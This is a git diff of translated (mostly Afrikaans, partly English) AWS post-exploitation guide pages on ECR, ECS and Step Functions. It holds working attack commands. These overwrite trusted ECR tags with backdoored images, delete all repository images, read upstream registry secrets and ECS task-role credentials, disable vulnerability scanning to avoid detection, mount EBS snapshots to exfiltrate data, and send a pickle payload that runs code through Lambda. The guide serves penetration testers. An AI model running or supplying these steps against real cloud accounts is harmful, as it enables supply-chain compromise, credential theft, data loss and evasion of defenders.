Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

2026-03-12 21:22:57 -07:00 · 2026-02-16 10:37:49 +00:00
parent daa940da53
commit ac138bff43
5 changed files with 332 additions and 160 deletions
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
@@ -47,15 +47,73 @@ aws ecr get-download-url-for-layer \
 --registry-id 653711331788 \
 --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
 ```
-Nadat jy die images afgelaai het, moet jy **hulle vir sensitiewe inligting nagaan**:
+Nadat jy die images afgelaai het, moet jy hulle **kontroleer vir sensitiewe inligting**:

 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
 {{#endref}}

+### Oorskryf 'n Trusted Tag via `ecr:PutImage` (Tag Hijacking / Supply Chain)
+
+As consumers deploy by tag (for example `stable`, `prod`, `latest`) en tags is mutable, kan `ecr:PutImage` gebruik word om 'n trusted tag **na aanvaller-beheerde inhoud te herlei** deur 'n image manifest onder daardie tag op te laai.
+
+Een algemene benadering is om die manifest van 'n bestaande aanvaller-beheerde tag (of digest) te kopieer en daarmee die trusted tag oor te skryf.
+```bash
+REGION=us-east-1
+REPO="<repo_name>"
+SRC_TAG="backdoor"   # attacker-controlled tag already present in the repository
+DST_TAG="stable"     # trusted tag used by downstream systems
+
+# 1) Fetch the manifest behind the attacker tag
+MANIFEST="$(aws ecr batch-get-image \
+--region "$REGION" \
+--repository-name "$REPO" \
+--image-ids imageTag="$SRC_TAG" \
+--query 'images[0].imageManifest' \
+--output text)"
+
+# 2) Overwrite the trusted tag with that manifest
+aws ecr put-image \
+--region "$REGION" \
+--repository-name "$REPO" \
+--image-tag "$DST_TAG" \
+--image-manifest "$MANIFEST"
+
+# 3) Verify both tags now point to the same digest
+aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
+aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text
+```
+**Impact**: enige werkbelasting wat `.../$REPO:$DST_TAG` aflaai sal aanvaller-gekose inhoud ontvang sonder enige verandering aan IaC, Kubernetes-manifeste, of taakdefinisies.
+
+#### Voorbeeld van downstream verbruiker: Lambda Container Images wat outomaties verfris by tag-opdaterings
+
+Indien 'n Lambda-funksie as 'n **container image** (`PackageType=Image`) ontplooi is en 'n **ECR tag** (bv. `:stable`, `:prod`) gebruik in plaas van 'n digest, kan die oor-skryf van daardie tag supply-chain tampering omskakel in **code execution inside the Lambda execution role** sodra die funksie verfris word.
+
+Hoe om hierdie situasie te ondersoek:
+```bash
+REGION=us-east-1
+
+# 1) Find image-based Lambda functions and their ImageUri
+aws lambda list-functions --region "$REGION" \
+--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
+tr '\t' '\n' | while read -r fn; do
+img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
+[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
+done
+
+# 2) Check whether a function references a mutable tag (contains ":<tag>")
+# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.
+```
+Hoe verfrissing dikwels gebeur:
+
+- CI/CD of GitOps roep gereeld `lambda:UpdateFunctionCode` aan (selfs met dieselfde `ImageUri`) om Lambda te dwing die tag weer op te los.
+- Gebeurtenisgedrewe outomatisering luister na ECR-imagegebeurtenisse (push/tag-opdaterings) en aktiveer 'n verfrissings-Lambda/outomatisering.
+
+As jy die vertroude tag kan oorskryf en 'n verfrissingsmeganisme bestaan, sal die volgende aanroep van die funksie aanvaller-beheerde kode uitvoer, wat dan omgewingsveranderlikes kan lees, netwerkbronne kan benader en AWS APIs kan aanroep met die Lambda-rol (byvoorbeeld, `secretsmanager:GetSecretValue`).
+
 ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`

-An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. Dit sal lei tot die verlies van alle container images wat in die repository gestoor is.
+'n Aanvaller met enige van hierdie permissies kan **'n lifecycle policy skep of wysig om alle images in die repository te verwyder** en dan **die hele ECR-repository te verwyder**. Dit sou die verlies van alle container-images wat in die repository gestoor is tot gevolg hê.
 ```bash
 # Create a JSON file with the malicious lifecycle policy
 echo '{
@@ -92,13 +150,13 @@ aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-i
 ```
 ### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)

-As ECR Pull‑Through Cache gekonfigureer is vir geverifieerde upstream registries (Docker Hub, GHCR, ACR, ens.), word die upstream credentials gestoor in AWS Secrets Manager met 'n voorspelbare naamvoorvoegsel: `ecr-pullthroughcache/`. Operateurs gee soms ECR admins breë Secrets Manager read access, wat credential exfiltration en hergebruik buite AWS moontlik maak.
+As ECR Pull‑Through Cache gekonfigureer is vir geverifieerde upstream registries (Docker Hub, GHCR, ACR, ens.), word die upstream credentials gestoor in AWS Secrets Manager met 'n voorspelbare naamvoorvoegsel: `ecr-pullthroughcache/`. Operateurs gee soms ECR admins breë Secrets Manager lees toegang, wat credential exfiltration en hergebruik buite AWS moontlik maak.

 Vereistes
 - secretsmanager:ListSecrets
 - secretsmanager:GetSecretValue

-Enumerate candidate PTC secrets
+Lys kandidaat PTC secrets
 ```bash
 aws secretsmanager list-secrets \
 --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
@@ -119,20 +177,20 @@ Opsioneel: verifieer leaked creds teen die upstream (read‑only login)
 echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
 ```
 Impak
- Deur hierdie Secrets Manager-inskrywings te lees kry jy herbruikbare upstream registry credentials (gebruikersnaam/wagwoord of token), wat buite AWS misbruik kan word om private images te trek of toegang tot addisionele repositories te kry, afhangend van upstream-permissies.
+- Deur hierdie Secrets Manager-inskrywings te lees, verkry 'n aanvaller herbruikbare upstream registry credentials (username/password or token), wat buite AWS misbruik kan word om private images te pull of toegang tot addisionele repositories te kry, afhangend van upstream-permissions.


-### Registervlak-verborgenheid: deaktiveer of verlaag skandering via `ecr:PutRegistryScanningConfiguration`
+### Registervlak stealth: deaktiveer of verlaag skandering via `ecr:PutRegistryScanningConfiguration`

-'n Aanvaller met registervlak ECR-permissies kan stilweg die outomatiese kwesbaarheidskandering vir ALLE repositories verminder of deaktiveer deur die registry scanning configuration op BASIC te stel sonder enige scan-on-push reëls. Dit verhoed dat nuwe image pushes outomaties geskandeer word en verberg kwesbare of kwaadwillige images.
+'n Aanvaller met registervlak ECR-rechtigings kan stilweg die outomatiese kwesbaarheidskandering vir ALLE repositories verminder of deaktiveer deur die registry scanning configuration op BASIC te stel sonder enige scan-on-push-reëls. Dit keer dat nuwe image pushes outomaties gescand word en verberg kwesbare of kwaadwillige images.

 Vereistes
 - ecr:PutRegistryScanningConfiguration
 - ecr:GetRegistryScanningConfiguration
- ecr:PutImageScanningConfiguration (optional, per‑repo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
+- ecr:PutImageScanningConfiguration (opsioneel, per‑repo)
+- ecr:DescribeImages, ecr:DescribeImageScanFindings (verifikasie)

-Register-wye degradering na handmatig (geen outo-skanderings nie)
+Register-wye terugskakeling na manueel (geen outomatiese skanderings)
 ```bash
 REGION=us-east-1
 # Read current config (save to restore later)
@@ -159,7 +217,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
 # Optional: will error with ScanNotFoundException if no scan exists
 aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
 ```
-Opsioneel: verdere degradasie op repo-skaal
+Opsioneel: further degrade at repo scope
 ```bash
 # Disable scan-on-push for a specific repository
 aws ecr put-image-scanning-configuration \
@@ -168,19 +226,19 @@ aws ecr put-image-scanning-configuration \
 --image-scanning-configuration scanOnPush=false
 ```
 Impak
- New image pushes across the registry are not scanned automatically, reducing visibility of vulnerable or malicious content and delaying detection until a manual scan is initiated.
+- Nuwe image pushes regoor die registry word nie outomaties gescan nie, wat die sigbaarheid van kwesbare of kwaadwillige inhoud verminder en opsporing vertraag totdat 'n handmatige scan geïnisieer word.


-### Registerwye terugskaling van die skandeer-enjin via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
+### Register-wye scanning enjin afgradering via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)

-Verminder die gehalte van kwesbaarheid-opsporing oor die hele register deur die BASIC scan-enjin van die verstek AWS_NATIVE na die legacy CLAIR-enjin te skuif. Dit skakel scanning nie uit nie maar kan bevindinge/dekking materieel verander. Kombineer dit met 'n BASIC registry scanning configuration sonder reëls om skanderings slegs-handmatig te maak.
+Verminder die kwaliteit van vulnerability detection oor die hele registry deur die BASIC scan engine van die verstek AWS_NATIVE na die legacy CLAIR enjin te skakel. Dit skakel scanning nie uit nie, maar kan bevindinge en dekking beduidend verander. Kombineer dit met 'n BASIC registry scanning-konfigurasie sonder reëls om scans net-handmatig te maak.

 Vereistes
 - `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
 - (Opsioneel) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`

 Impak
- Registerinstelling `BASIC_SCAN_TYPE_VERSION` is op `CLAIR` gestel sodat daaropvolgende BASIC scans met die afgegradeerde enjin loop. CloudTrail neem die `PutAccountSetting` API call op.
+- Registry instelling `BASIC_SCAN_TYPE_VERSION` word op `CLAIR` gestel sodat daaropvolgende BASIC scans met die afgegradeerde enjin loop. CloudTrail neem die `PutAccountSetting` API-oproep op.

 Stappe
 ```bash
@@ -201,7 +259,7 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
 # 5) Restore to AWS_NATIVE when finished to avoid side effects
 aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
 ```
-### Skandeer ECR-beelde vir kwesbaarhede
+### Skandeer ECR images vir kwesbaarhede
 ```bash
 #!/bin/bash

--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
@@ -4,7 +4,7 @@

 ## ECS

-Vir meer inligting, sien:
+Vir meer inligting sien:

 {{#ref}}
 ../../aws-services/aws-ecs-enum.md
@@ -12,33 +12,33 @@ Vir meer inligting, sien:

 ### Gasheer IAM-rolle

-In ECS kan 'n **IAM role aan die taak toegewys word** wat binne die container loop. **As** die taak binne 'n **EC2** instance gedraai word, sal die **EC2 instance** nog 'n **IAM** rol aan hom gekoppel hê.\
-Dit beteken dat as jy daarin slaag om 'n ECS instance te **compromise**, kan jy moontlik die **IAM role wat aan die ECR en aan die EC2 instance gekoppel is** bekom. Vir meer inligting oor hoe om daardie credentials te kry, sien:
+In ECS kan 'n **IAM role toegeken word aan die task** wat binne die container loop. **If** die task binne 'n **EC2** instance uitgevoer word, sal die **EC2 instance** 'n **ander IAM** role daaraan gekoppel hê.\
+Dit beteken dat as jy daarin slaag om 'n ECS instance te **compromise**, kan jy moontlik die **IAM role kry wat met die ECR en die EC2 instance geassosieer is**. Vir meer info oor hoe om daardie credentials te kry, sien:

 {{#ref}}
 https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
 {{#endref}}

 > [!CAUTION]
-> IMDSv2 met 'n hop limit van 1 **blokkeer nie** awsvpc of host-networked tasks nie—slegs Docker bridge tasks sit ver genoeg weg sodat die responses uitsterf. Sien [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) vir die volledige aanval-werkvloei en omseil-notas. Onlangse [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) wys dat awsvpc en host tasks steeds host credentials haal selfs wanneer IMDSv2+h=1 afgedwing word.
+> IMDSv2 with a hop limit of 1 **does not** block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.

-### Privesc to node to steal other containers creds & secrets
+### Privesc na node om ander containers se creds & secrets te steel

-Bo en behalwe dit, gebruik EC2 docker om ECS tasks te laat loop, so as jy na die node kan ontsnap of toegang tot die **docker socket** kry, kan jy kyk watter **ander containers** bestuur word, en selfs in hulle **inklim** en hul gekoppelde **IAM roles** steel.
+Verder gebruik EC2 docker om ECs tasks te laat loop, so as jy na die node kan ontsnap of toegang tot die docker socket kry, kan jy kyk watter ander containers uitgevoer word, en selfs in hulle inkom en hul aangehegte IAM roles steel.

-#### Maak containers op die huidige gasheer laat loop
+#### Containers laat loop op die huidige host

-Verder het die **EC2 instance role** gewoonlik genoeg **permissions** om die **container instance state** van die EC2 instances wat as nodes binne die cluster gebruik word, te **update**. 'n Aanvaller kan die **state van 'n instance na DRAINING** verander; daarna sal ECS **al die tasks daaruit verwyder**, en die take wat as **REPLICA** gedraai word, sal **in 'n ander instance** herbegin word, moontlik op die **aanvaller se instance**, sodat hy hul **IAM roles** en moontlik sensitiewe inligting binne die container kan steel.
+Verder sal die **EC2 instance role** gewoonlik genoeg **permissions** hê om die **container instance state** van die EC2 instances wat as nodes binne die cluster gebruik word, op te dateer. 'n Aanvaller kan die **state van 'n instance verander na DRAINING**, waarna ECS **al die tasks daaruit sal verwyder** en die take wat as **REPLICA** uitgevoer word, in 'n ander instance laat loop — potensieel binne die **aanvaller se instance** — sodat hy hul **IAM roles** en moontlike sensitiewe inligting uit die container kan steel.
 ```bash
 aws ecs update-container-instances-state \
 --cluster <cluster> --status DRAINING --container-instances <container-instance-id>
 ```
-Dieselfde tegniek kan uitgevoer word deur die **EC2 instance uit die cluster te deregistreer**. Dit is moontlik minder onopvallend, maar dit sal die **tasks dwing om op ander instances uitgevoer te word:**
+Dieselfde tegniek kan uitgevoer word deur **die EC2 instance van die cluster af te meld**. Dit is moontlik minder onopvallend, maar dit sal **die tasks dwing om in ander instances uitgevoer te word:**
 ```bash
 aws ecs deregister-container-instance \
 --cluster <cluster> --container-instance <container-instance-id> --force
 ```
-'n Finale tegniek om die heruitvoering van take af te dwing, is deur ECS aan te dui dat die **taak of houer gestop is**. Daar is 3 potensiële APIs om dit te doen:
+'n laaste tegniek om die heruitvoering van take af te dwing is om ECS te wys dat die **taak of houer gestop is**. Daar is 3 potensiële APIs om dit te doen:
 ```bash
 # Needs: ecs:SubmitTaskStateChange
 aws ecs submit-task-state-change --cluster <value> \
@@ -50,36 +50,49 @@ aws ecs submit-container-state-change ...
 # Needs: ecs:SubmitAttachmentStateChanges
 aws ecs submit-attachment-state-changes ...
 ```
-### Steel sensitiewe inligting uit ECR-kontainers
+#### Join the Cluster With an Attacker Host (Register Container Instance)

-Die EC2-instans sal waarskynlik ook die toestemming `ecr:GetAuthorizationToken` hê wat dit toelaat om **images af te laai** (jy kan daarin na sensitiewe inligting soek).
+Another variant (more direct than draining) is to **add capacity you control** into the cluster by registering an EC2 instance as a container instance (`ecs:RegisterContainerInstance`) and setting the required container instance attributes so placement constraints match. Once tasks land on your host, you can inspect/exec into containers and harvest `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI` credentials.

+See the ECS privesc page section on `ecs:RegisterContainerInstance` for the full workflow.

+### Steal sensitive info from ECR containers

-### Koppel 'n EBS snapshot direk in 'n ECS-taak (configuredAtLaunch + volumeConfigurations)
+Die EC2 instance sal waarskynlik ook die toestemming `ecr:GetAuthorizationToken` hê wat dit toelaat om **images af te laai** (jy kan daarin na sensitiewe inligting soek).

-Misbruik die inheemse ECS EBS-integrasie (2024+) om die inhoud van 'n bestaande EBS snapshot direk binne 'n nuwe ECS-taak/diens te koppel en die data van binne die kontainer te lees.
+### Steal Task Role Credentials via `ecs:ExecuteCommand`

- Benodig (minimum):
+As `ExecuteCommand` op 'n taak geaktiveer is, kan 'n principal met `ecs:ExecuteCommand` + `ecs:DescribeTasks` 'n shell binne die lopende container open en dan die **task credentials endpoint** vra om die **task role** credentials te oes:
+
+- From inside the container: `curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"`
+- Use the returned `AccessKeyId/SecretAccessKey/Token` to call AWS APIs as the task role
+
+Sien die ECS privilege escalation page vir enumerasie en opdragvoorbeelde.
+
+### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
+
+Misbruik die native ECS EBS integration (2024+) om die inhoud van 'n bestaande EBS snapshot direk binne 'n nuwe ECS task/service te mount en die data van binne die container te lees.
+
+- Needs (minimum):
 - ecs:RegisterTaskDefinition
- Een van: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
+- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
 - iam:PassRole on:
- ECS infrastruktuurrol wat vir volumes gebruik word (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
- Task execution/Task-rolle wat in die taakdefinisie genoem word
- As die snapshot met 'n CMK geënkripteer is: KMS-permissies vir die infra-rol (die AWS-bestuurde beleid hierbo sluit die vereiste KMS-toestemmings vir AWS managed keys in).
+- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
+- Task execution/Task roles referenced by the task definition
+- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

- Impak: Lees willekeurige skyfinhoud vanaf die snapshot (bv. databasislêers) binne die kontainer en exfiltreer dit via netwerk/logs.
+- Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs.

-Stappe (Fargate-voorbeeld):
+Steps (Fargate example):

-1) Skep die ECS infrastruktuurrol (indien dit nie bestaan nie) en heg die bestuurde beleid daaraan:
+1) Create the ECS infrastructure role (if it doesn't exist) and attach the managed policy:
 ```bash
 aws iam create-role --role-name ecsInfrastructureRole \
 --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
 aws iam attach-role-policy --role-name ecsInfrastructureRole \
 --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
 ```
-2) Registreer 'n taakdefinisie met 'n volume gemerk `configuredAtLaunch` en mount dit in die container. Voorbeeld (druk die secret uit en slaap daarna):
+2) Registreer 'n task definition met 'n volume gemerk `configuredAtLaunch` en mount dit in die container. Voorbeeld (druk die secret uit en slaap):
 ```json
 {
 "family": "ht-ebs-read",
@@ -99,7 +112,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
 "volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
 }
 ```
-3) Skep of werk 'n diens by en gee die EBS-snapskoot deur via `volumeConfigurations.managedEBSVolume` (vereis iam:PassRole op die infra-rol). Voorbeeld:
+Skep of werk 'n diens op deur die EBS-snapshot via `volumeConfigurations.managedEBSVolume` deur te gee (vereis iam:PassRole op die infra-rol). Voorbeeld:
 ```json
 {
 "cluster": "ht-ecs-ebs",
@@ -113,7 +126,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
 ]
 }
 ```
-4) Wanneer die taak begin, kan die container die snapshot-inkhoud by die gekonfigureerde mount-pad lees (bv. `/loot`). Exfiltrate via die taak se netwerk/logs.
+4) Wanneer die task begin, kan die container die snapshot-inhoud by die geconfigureerde mount path lees (bv. `/loot`). Exfiltrate via die task se network/logs.

 Opruiming:
 ```bash
@@ -123,6 +136,6 @@ aws ecs deregister-task-definition ht-ebs-read
 ```
 ## Verwysings

- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
+- [Latacora - ECS on EC2: Dekking van gapings in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)

 {{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md
@@ -4,7 +4,7 @@

 ## Step Functions

-Vir meer inligting oor hierdie AWS-diens, kyk:
+Vir meer inligting oor hierdie AWS-diens, sien:

 {{#ref}}
 ../../aws-services/aws-stepfunctions-enum.md
@@ -12,19 +12,19 @@ Vir meer inligting oor hierdie AWS-diens, kyk:

 ### `states:RevealSecrets`

-Hierdie toestemming laat toe om **geheime data binne 'n uitvoering te openbaar**. Hiervoor moet die Inspection level op TRACE gestel word en die revealSecrets parameter op true.
+Hierdie toestemming maak dit moontlik om **geheime data binne 'n uitvoering te openbaar**. Hiervoor moet die Inspection-vlak op TRACE gestel word en die revealSecrets-parameter op true.

 <figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>

 ### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`

-'n Aanvaller met hierdie toestemmings sou in staat wees om state machines, hul weergawes en aliases permanent te verwyder. Dit kan kritieke werkvloei ontwrig, tot dataverlies lei, en aansienlike tyd vereis om die geraakte state machines te herstel en te herstel. Verder sal dit 'n aanvaller toelaat om spore uit te wis, forensiese ondersoeke te ontwrig, en moontlik bedrywighede te lamtrek deur noodsaaklike automation processes en state configurations te verwyder.
+'n Aanvaller met hierdie permissies sal in staat wees om staatmasjiene, hul weergawes en aliasse permanent te verwyder. Dit kan kritieke workflowe ontwrig, tot dataverlies lei en aansienlike tyd vereis om die betrokke staatmasjiene te herstel en terug te stel. Boonop sal dit 'n aanvaller toelaat om die gebruikte spore uit te wis, forensiese ondersoeke te ontwrig en potensieel bedrywighede lam te lê deur noodsaaklike outomatiseringsprosesse en staatkonfigurasies te verwyder.

 > [!NOTE]
 >
-> - Deleting a state machine you also delete all its associated versions and aliases.
-> - Deleting a state machine alias you do not delete the state machine versions referecing this alias.
-> - It is not possible to delete a state machine version currently referenced by one o more aliases.
+> - Wanneer jy 'n staatmasjien verwyder, verwyder jy ook al sy geassosieerde weergawes en aliasse.
+> - Wanneer jy 'n staatmasjien-alias verwyder, verwyder jy nie die staatmasjienweergawes wat na hierdie alias verwys nie.
+> - Dit is nie moontlik om 'n staatmasjienweergawe te verwyder wat tans deur een of meer aliasse verwys word nie.
 ```bash
 # Delete state machine
 aws stepfunctions delete-state-machine --state-machine-arn <value>
@@ -33,11 +33,11 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn <valu
 # Delete state machine alias
 aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
 ```
- **Potential Impact**: Onderbreking van kritieke werkvloeie, dataverlies en bedryfsuitval.
+- **Potensiële impak**: Versteuring van kritieke werkvloei, dataverlies en bedryfsstilstand.

 ### `states:UpdateMapRun`

-'n Aanvaller met hierdie permissie sou die Map Run-foutkonfigurasie en parallelinstelling kan manipuleer, en die maksimum aantal toegelate child workflow-uitvoerings kan verhoog of verlaag, wat direk die beskikbaarheid en prestasie van die diens kan beïnvloed. Boonop kan 'n aanvaller inmeng met die verdraagsame foutpersentasie en -telling, en hierdie waarde tot 0 verlaag, sodat elke keer as 'n item misluk die hele Map Run misluk, wat direk die state machine-uitvoering beïnvloed en moontlik kritieke werkvloeie ontwrig.
+'n aanvaller met hierdie toestemming kan die Map Run-foutkonfigurasie en parallel-instelling manipuleer, en die maksimum aantal toegelate kind-workflow-uitvoerings verhoog of verlaag, wat 'n direkte invloed op die diens se prestasie het. Boonop kan 'n aanvaller knoei met die toegelate foutpersentasie en -telling, en hierdie waarde tot 0 verlaag, sodat elke keer as 'n item faal die hele Map Run sou misluk, wat direk die staatmasjien-uitvoering raak en moontlik kritieke werkvloei ontwrig.
 ```bash
 aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
 ```
@@ -45,29 +45,71 @@ aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value

 ### `states:StopExecution`

-'n aanvaller met hierdie toestemming kan die uitvoering van enige state machine stop, wat voortdurende werkvloei en prosesse ontwrig. Dit kan lei tot onvoltooide transaksies, stilstaande besigheidsbedrywighede en moontlike datakorrupsie.
+'n aanvaller met hierdie toestemming kan die uitvoering van enige state machine stop, wat lopende werkvloei en prosesse ontwrig. Dit kan lei tot onvolledige transaksies, gestopte besigheidsbedrywighede en potensiële databeskadiging.

 > [!WARNING]
-> Hierdie aksie word nie ondersteun deur **express state machines**.
+> Hierdie aksie word nie deur **express state machines** ondersteun nie.
 ```bash
 aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
 ```
- **Potensiële impak**: Steuring van lopende werkstrome, bedryfsuitval, en moontlike datakorrupsie.
+- **Potensiële impak**: Ontwrigting van lopende werkvloei, bedryfsstilstand, en potensiële datakorruptie.

 ### `states:TagResource`, `states:UntagResource`

-'n aanvaller kan tags byvoeg, wysig of verwyder op Step Functions resources, wat jou organisasie se kostetoewysing, hulpbronopsporing en toegangsbeheerbeleide gebaseer op tags kan ontwrig.
+'n Aanvaller kan tags by Step Functions-hulpbronne voeg, wysig of verwyder, wat jou organisasie se koste-toewysing, hulpbronopsporing en toegangskontrolebeleid wat op tags gebaseer is, ontwrig.
 ```bash
 aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
 aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
 ```
-**Potensiële impak**: Onderbreking van koste-toewysing, hulpbronopsporing, en etiket-gebaseerde toegangsbeheerbeleide.
+**Potensiële impak**: Ontwrigting van koste-toewysing, hulpbronopsporing en etiketgebaseerde toegangsbeheerbeleide.

 ---

+### `states:StartExecution` -> Input Injection Into Dangerous Sinks
+
+`states:StartExecution` is 'n data-plane toegangspunt. As 'n state machine aanvaller-gekontroleerde inset na 'n taak deurstuur wat 'n gevaarlike sink bevat (byvoorbeeld 'n Lambda wat `pickle.loads(base64.b64decode(payload_b64))`), kan jy soms **StartExecution** omskakel na **code execution** en **secret exfiltration** deur die uitvoeringuitset, sonder enige toestemming om die state machine op te dateer.
+
+#### Ontdek die workflow en die aangeroepe Lambda
+
+As jy `states:List*` / `states:Describe*` het, kan jy die state machine-definisie opnoem en lees:
+```bash
+REGION=us-east-1
+SM_ARN="<state_machine_arn>"
+
+aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
+```
+As jy ook `lambda:GetFunction` het, kan jy die Lambda-kodebundel aflaai om te verstaan hoe invoer verwerk word (en bevestig of onveilige deserialisering bestaan):
+```bash
+LAMBDA_ARN="<lambda_arn_from_definition>"
+CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
+curl -sSL "$CODE_URL" -o /tmp/lambda.zip
+unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
+ls -la /tmp/lambda_code
+```
+#### Voorbeeld: crafted pickle in execution input (Python)
+
+Indien die Lambda 'unpickles' deur die aanvaller beheerste data, kan 'n kwaadwillige pickle tydens deserialisering kode uitvoer. Voorbeeld payload wat 'n Python-uitdrukking in die Lambda runtime evalueer:
+```bash
+PAYLOAD_B64="$(python3 - <<'PY'
+import base64, pickle
+
+class P:
+def __reduce__(self):
+# Replace with a safe proof (e.g. "1+1") or a target-specific read.
+return (eval, ("__import__('os').popen('id').read()",))
+
+print(base64.b64encode(pickle.dumps(P())).decode())
+PY
+)"
+
+EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
+aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
+```
+**Impak**: Watter permissies die task role ook al het (Secrets Manager reads, S3 writes, KMS decrypt, ens.) kan via gespesialiseerde insette bereikbaar raak, en die resultaat kan in die Step Functions-uitset van die uitvoering teruggegee word.
+
 ### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`

-'n aanvaller wat 'n gebruiker of rol met die volgende regte kompromitteer:
+'n aanvaller wat 'n gebruiker of rol kompromitteer met die volgende toestemmings:
 ```json
 {
 "Version": "2012-10-17",
@@ -87,9 +129,9 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
 ]
 }
 ```
-...kan 'n **hoë-impak en onopvallende post-exploitation attack** uitvoer deur Lambda backdooring te kombineer met Step Function logika-manipulasie.
+...kan 'n **high-impact and stealthy post-exploitation attack** uitvoer deur Lambda backdooring te kombineer met Step Function logika-manipulasie.

-Hierdie scenario neem aan dat die slagoffer **AWS Step Functions gebruik om werkvloeie te orkestreer wat sensitiewe insette verwerk**, soos credentials, tokens, of PII.
